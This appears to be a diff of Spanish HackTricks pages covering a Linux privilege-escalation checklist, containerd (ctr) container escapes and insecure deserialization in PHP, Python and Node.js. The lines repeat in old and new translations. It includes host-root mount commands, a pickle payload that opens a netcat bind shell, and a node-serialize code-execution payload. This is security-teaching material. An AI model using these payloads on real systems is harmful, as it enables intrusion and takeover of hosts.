||||
* [ ] **Archivos passwd/shadow** - ¿Leer datos sensibles? ¿Escribir para escalar privilegios?
|
||||
* [ ] **Revisa carpetas comúnmente interesantes** en busca de datos sensibles
|
||||
* [ ] **Archivos en Ubicación/Raros,** podrías tener acceso o alterar archivos ejecutables
|
||||
* [ ] **Modificados** en los últimos minutos
|
||||
* [ ] **Archivos de base de datos SQLite**
|
||||
* [ ] **Archivos de perfil** - ¿Leer datos sensibles? ¿Escribir para escalada de privilegios?
|
||||
* [ ] Archivos **passwd/shadow** - ¿Leer datos sensibles? ¿Escribir para escalada de privilegios?
|
||||
* [ ] **Verificar carpetas comúnmente interesantes** en busca de datos sensibles
|
||||
* [ ] **Ubicación/Archivos de propiedad extraña,** a los que podrías tener acceso o alterar archivos ejecutables
|
||||
* [ ] **Modificado** en los últimos minutos
|
||||
* [ ] **Archivos de base de datos Sqlite**
|
||||
* [ ] **Archivos ocultos**
|
||||
* [ ] **Scripts/Binarios en PATH**
|
||||
* [ ] **Scripts/Binarios en la RUTA**
|
||||
* [ ] **Archivos web** (¿contraseñas?)
|
||||
* [ ] **¿Copias de seguridad**?
|
||||
* [ ] **Copias de seguridad**?
|
||||
* [ ] **Archivos conocidos que contienen contraseñas**: Usa **Linpeas** y **LaZagne**
|
||||
* [ ] **Búsqueda genérica**
|
||||
|
||||
### [**Archivos con permisos de escritura**](privilege-escalation/#writable-files)
|
||||
### [**Archivos Escribibles**](privilege-escalation/#writable-files)
|
||||
|
||||
* [ ] ¿**Modificar biblioteca de python** para ejecutar comandos arbitrarios?
|
||||
* [ ] ¿Puedes **modificar archivos de registro**? Explotación de **Logtotten**
|
||||
* [ ] ¿Puedes **modificar /etc/sysconfig/network-scripts/**? Explotación de Centos/Redhat
|
||||
* [ ] ¿Modificar biblioteca de Python para ejecutar comandos arbitrarios?
|
||||
* [ ] ¿Puedes **modificar archivos de registro**? Exploit de **Logtotten**
|
||||
* [ ] ¿Puedes **modificar /etc/sysconfig/network-scripts/**? Exploit de Centos/Redhat
|
||||
* [ ] ¿Puedes [**escribir en archivos ini, int.d, systemd o rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
|
||||
|
||||
### [**Otros trucos**](privilege-escalation/#other-tricks)
|
||||
|
||||
* [ ] ¿Puedes [**abusar de NFS para escalar privilegios**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] ¿Necesitas [**escapar de una shell restringida**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente actualizado con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado con los lanzamientos de las más recientes recompensas por errores y actualizaciones críticas de la plataforma.
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks para AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
* [ ] ¿Puedes **abusar de NFS para escalar privilegios**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] ¿Necesitas **escapar de una shell restrictiva**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
|
|
|
|||
|
|
@ -1,18 +1,20 @@
|
|||
# Escalada de privilegios en Containerd (ctr)
|
||||
# Escalada de Privilegios en Containerd (ctr)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
## Información Básica
|
||||
|
||||
Ve al siguiente enlace para aprender **qué es containerd** y `ctr`:
|
||||
|
||||
|
|
@ -22,7 +24,7 @@ Ve al siguiente enlace para aprender **qué es containerd** y `ctr`:
|
|||
|
||||
## PE 1
|
||||
|
||||
Si encuentras que un host contiene el comando `ctr`:
|
||||
si descubres que un host contiene el comando `ctr`:
|
||||
```bash
|
||||
which ctr
|
||||
/usr/bin/ctr
|
||||
|
|
@ -30,11 +32,11 @@ which ctr
|
|||
Puedes listar las imágenes:
|
||||
```bash
|
||||
ctr image list
|
||||
REF TYPE DIGEST SIZE PLATFORMS LABELS
|
||||
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
|
||||
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
|
||||
REF TYPE DIGEST SIZE PLATFORMS LABELS
|
||||
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
|
||||
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
|
||||
```
|
||||
Y luego **ejecute una de esas imágenes montando la carpeta raíz del host en ella**:
|
||||
Y luego **ejecuta una de esas imágenes montando la carpeta raíz del host en ella**:
|
||||
```bash
|
||||
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
|
||||
```
|
||||
|
|
@ -43,9 +45,9 @@ ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:late
|
|||
Ejecutar un contenedor con privilegios y escapar de él.\
|
||||
Puedes ejecutar un contenedor con privilegios de la siguiente manera:
|
||||
```bash
|
||||
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
|
||||
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
|
||||
```
|
||||
Entonces, puedes utilizar algunas de las técnicas mencionadas en la siguiente página para **escapar de ella abusando de las capacidades privilegiadas**:
|
||||
Entonces puedes usar algunas de las técnicas mencionadas en la siguiente página para **escapar de ella abusando de las capacidades privilegiadas**:
|
||||
|
||||
{% content-ref url="docker-security/" %}
|
||||
[docker-security](docker-security/)
|
||||
|
|
@ -53,12 +55,14 @@ Entonces, puedes utilizar algunas de las técnicas mencionadas en la siguiente p
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,39 +1,38 @@
|
|||
# Deserialization
|
||||
# Deserialización
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repos de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
**Serialization** es el proceso de convertir algún objeto en un formato de datos que puede ser restaurado más tarde. La gente a menudo serializa objetos para guardarlos en almacenamiento, o para enviar como parte de comunicaciones.
|
||||
|
||||
**Deserialization** es el proceso inverso, tomando datos estructurados de algún formato y reconstruyéndolos en un objeto. Hoy en día, el formato de datos más popular para serializar datos es JSON. Antes de eso, era XML.
|
||||
|
||||
En muchas ocasiones puedes encontrar código en el lado del servidor que deserializa algún objeto proporcionado por el usuario.\
|
||||
En este caso, puedes enviar una carga maliciosa para hacer que el lado del servidor se comporte de manera inesperada.
|
||||
## Información Básica
|
||||
|
||||
La **serialización** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado.
|
||||
|
||||
La **deserialización**, por otro lado, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.
|
||||
|
||||
La deserialización puede ser peligrosa porque potencialmente **permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
|
||||
|
||||
**Deberías leer:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **para aprender cómo atacar.**
|
||||
|
||||
## PHP
|
||||
|
||||
Método mágico utilizado con serialización:
|
||||
En PHP, se utilizan métodos mágicos específicos durante los procesos de serialización y deserialización:
|
||||
|
||||
* `__sleep` se llama cuando un objeto es serializado y debe devolver un array
|
||||
|
||||
Método mágico utilizado con deserialization
|
||||
|
||||
* `__wakeup` se llama cuando un objeto es deserializado.
|
||||
* `__unserialize` se llama en lugar de `__wakeup` si existe.
|
||||
* `__destruct` se llama cuando el script de PHP termina y el objeto es destruido.
|
||||
* `__toString` usa el objeto como cadena pero también puede ser utilizado para leer archivos o más que eso basado en la llamada a función dentro de él.
|
||||
* `__sleep`: Invocado cuando un objeto está siendo serializado. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben ser serializadas. Comúnmente se utiliza para confirmar datos pendientes o realizar tareas de limpieza similares.
|
||||
* `__wakeup`: Llamado cuando un objeto está siendo deserializado. Se utiliza para restablecer cualquier conexión a la base de datos que pueda haberse perdido durante la serialización y realizar otras tareas de reinitialización.
|
||||
* `__unserialize`: Este método se llama en lugar de `__wakeup` (si existe) cuando un objeto está siendo deserializado. Proporciona más control sobre el proceso de deserialización en comparación con `__wakeup`.
|
||||
* `__destruct`: Este método se llama cuando un objeto está a punto de ser destruido o cuando el script finaliza. Se utiliza típicamente para tareas de limpieza, como cerrar manejadores de archivos o conexiones a bases de datos.
|
||||
* `__toString`: Este método permite que un objeto sea tratado como una cadena. Puede utilizarse para leer un archivo u otras tareas basadas en las llamadas de funciones dentro de él, proporcionando efectivamente una representación textual del objeto.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
|
|
@ -89,12 +88,12 @@ This is a test<br />
|
|||
*/
|
||||
?>
|
||||
```
|
||||
Si observas los resultados, puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso **ya no ocurre**.
|
||||
Si observas los resultados, puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso **ya no sucede**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
`El método`` `**`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria tras la deserialización.
|
||||
El método **`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria durante la deserialización.
|
||||
```php
|
||||
phpCopy codeclass MyClass {
|
||||
class MyClass {
|
||||
private $property;
|
||||
|
||||
public function __unserialize(array $data): void {
|
||||
|
|
@ -105,11 +104,11 @@ $this->property = $data['property'];
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Puede leer un **ejemplo PHP explicado aquí**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aquí [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o aquí [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
Puedes leer un **ejemplo de PHP explicado aquí**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aquí [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o aquí [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload de Clases
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Podría abusar de la funcionalidad de autoload de PHP para cargar archivos php arbitrarios y más:
|
||||
Podrías abusar de la funcionalidad de carga automática de PHP para cargar archivos PHP arbitrarios y más:
|
||||
|
||||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||||
|
|
@ -117,7 +116,7 @@ Podría abusar de la funcionalidad de autoload de PHP para cargar archivos php a
|
|||
|
||||
### Serializando Valores Referenciados
|
||||
|
||||
Si por alguna razón desea serializar un valor como una **referencia a otro valor serializado** puede:
|
||||
Si por alguna razón deseas serializar un valor como una **referencia a otro valor serializado** puedes:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
|
|
@ -132,14 +131,14 @@ $ser=serialize($o);
|
|||
```
|
||||
### PHPGGC (ysoserial para PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar cargas útiles para abusar de deserializaciones de PHP.\
|
||||
Ten en cuenta que en varios casos **no podrás encontrar una manera de abusar de una deserialización en el código fuente** de la aplicación, pero podrías ser capaz de **abusar del código de extensiones externas de PHP.**\
|
||||
Por lo tanto, si puedes, revisa el `phpinfo()` del servidor y **busca en internet** (e incluso en los **gadgets** de **PHPGGC**) algún posible gadget que podrías abusar.
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar payloads para abusar de las deserializaciones de PHP.\
|
||||
Ten en cuenta que en varios casos **no podrás encontrar una forma de abusar de una deserialización en el código fuente** de la aplicación, pero podrías ser capaz de **abusar del código de extensiones externas de PHP.**\
|
||||
Por lo tanto, si es posible, verifica la `phpinfo()` del servidor y **busca en internet** (incluso en los **gadgets** de **PHPGGC**) algún posible gadget que puedas abusar.
|
||||
|
||||
### phar:// deserialización de metadatos
|
||||
### Deserialización de metadatos phar://
|
||||
|
||||
Si has encontrado un LFI que solo está leyendo el archivo y no ejecutando el código PHP dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
|
||||
Para más información lee el siguiente post:
|
||||
Si has encontrado una LFI que solo lee el archivo y no ejecuta el código PHP dentro de él, por ejemplo utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_. Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
|
||||
Para obtener más información, lee el siguiente post:
|
||||
|
||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
||||
|
|
@ -149,7 +148,7 @@ Para más información lee el siguiente post:
|
|||
|
||||
### **Pickle**
|
||||
|
||||
Cuando el objeto se deserializa, la función _\_\_reduce\_\__ se ejecutará.\
|
||||
Cuando el objeto se deserializa, se ejecutará la función _\_\_reduce\_\__.\
|
||||
Cuando se explota, el servidor podría devolver un error.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
|
|
@ -158,21 +157,21 @@ def __reduce__(self):
|
|||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Para obtener más información sobre cómo escapar de **pickle jails**, consulta:
|
||||
Para obtener más información sobre cómo escapar de las **cárceles de pickle**, consulta:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
### Yaml **y** jsonpickle
|
||||
|
||||
La siguiente página presenta la técnica para **abusar de una deserialización insegura en bibliotecas de yamls** de Python y termina con una herramienta que se puede utilizar para generar un payload de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**:
|
||||
La siguiente página presenta la técnica para **abusar de una deserialización insegura en las bibliotecas de Python yamls** y finaliza con una herramienta que se puede utilizar para generar carga útil de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**:
|
||||
|
||||
{% content-ref url="python-yaml-deserialization.md" %}
|
||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
### Contaminación de Clases (Python Prototype Pollution)
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
|
|
@ -182,10 +181,10 @@ La siguiente página presenta la técnica para **abusar de una deserialización
|
|||
|
||||
### Funciones Mágicas de JS
|
||||
|
||||
JS **no tiene funciones "mágicas"** como PHP o Python que se ejecutan solo por crear un objeto. Pero tiene algunas **funciones** que se **usan frecuentemente incluso sin llamarlas directamente** como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Si abusas de una deserialización, puedes **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de contaminaciones de prototipo) podrías ejecutar código arbitrario cuando se llamen.
|
||||
JS **no tiene funciones "mágicas"** como PHP o Python que se ejecutarán solo para crear un objeto. Pero tiene algunas **funciones** que se **utilizan con frecuencia incluso sin llamarlas directamente** como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Si abusas de una deserialización, puedes **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de contaminaciones de prototipos) y podrías ejecutar código arbitrario cuando se llamen.
|
||||
|
||||
Otra **forma "mágica" de llamar a una función** sin llamarla directamente es **comprometiendo un objeto que es devuelto por una función asíncrona** (promesa). Porque, si **transformas** ese **objeto devuelto** en otra **promesa** con una **propiedad** llamada **"then" de tipo función**, será **ejecutada** solo porque es devuelta por otra promesa. _Sigue_ [_**este enlace**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para más información._
|
||||
Otra forma **"mágica" de llamar a una función** sin llamarla directamente es **comprometer un objeto que es devuelto por una función asíncrona** (promesa). Porque, si **transformas** ese **objeto devuelto** en otra **promesa** con una **propiedad** llamada **"then" de tipo función**, se **ejecutará** solo porque es devuelto por otra promesa. _Sigue_ [_**este enlace**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para más información._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
|
|
@ -209,9 +208,9 @@ test_ressolve()
|
|||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### `__proto__` y contaminación de `prototype`
|
||||
### `__proto__` y la contaminación de `prototype`
|
||||
|
||||
Si quieres aprender sobre esta técnica **echa un vistazo al siguiente tutorial**:
|
||||
Si deseas aprender sobre esta técnica, **echa un vistazo al siguiente tutorial**:
|
||||
|
||||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||||
|
|
@ -232,7 +231,7 @@ El **objeto serializado** se verá así:
|
|||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Puedes ver en el ejemplo que cuando una función es serializada, la bandera `_$$ND_FUNC$$_` se añade al objeto serializado.
|
||||
Puedes ver en el ejemplo que cuando una función es serializada se añade la bandera `_$$ND_FUNC$$_` al objeto serializado.
|
||||
|
||||
Dentro del archivo `node-serialize/lib/serialize.js` puedes encontrar la misma bandera y cómo el código la está utilizando.
|
||||
|
||||
|
|
@ -240,17 +239,17 @@ Dentro del archivo `node-serialize/lib/serialize.js` puedes encontrar la misma b
|
|||
|
||||
.png>)
|
||||
|
||||
Como puedes ver en el último fragmento de código, **si se encuentra la bandera** `eval` se utiliza para deserializar la función, así que básicamente **la entrada del usuario está siendo utilizada dentro de la función `eval`**.
|
||||
Como puedes ver en el último fragmento de código, **si se encuentra la bandera** se utiliza `eval` para deserializar la función, por lo que básicamente **la entrada del usuario se está utilizando dentro de la función `eval`**.
|
||||
|
||||
Sin embargo, **solo serializar** una función **no la ejecutará** ya que sería necesario que alguna parte del código esté **llamando a `y.rce`** en nuestro ejemplo y eso es altamente **improbable**.\
|
||||
De todos modos, podrías simplemente **modificar el objeto serializado** **añadiendo algunos paréntesis** para auto ejecutar la función serializada cuando el objeto es deserializado.\
|
||||
En el siguiente fragmento de código **observa el último paréntesis** y cómo la función `unserialize` ejecutará automáticamente el código:
|
||||
De todos modos, podrías simplemente **modificar el objeto serializado** **añadiendo algunos paréntesis** para autoejecutar la función serializada cuando se deserialice el objeto.\
|
||||
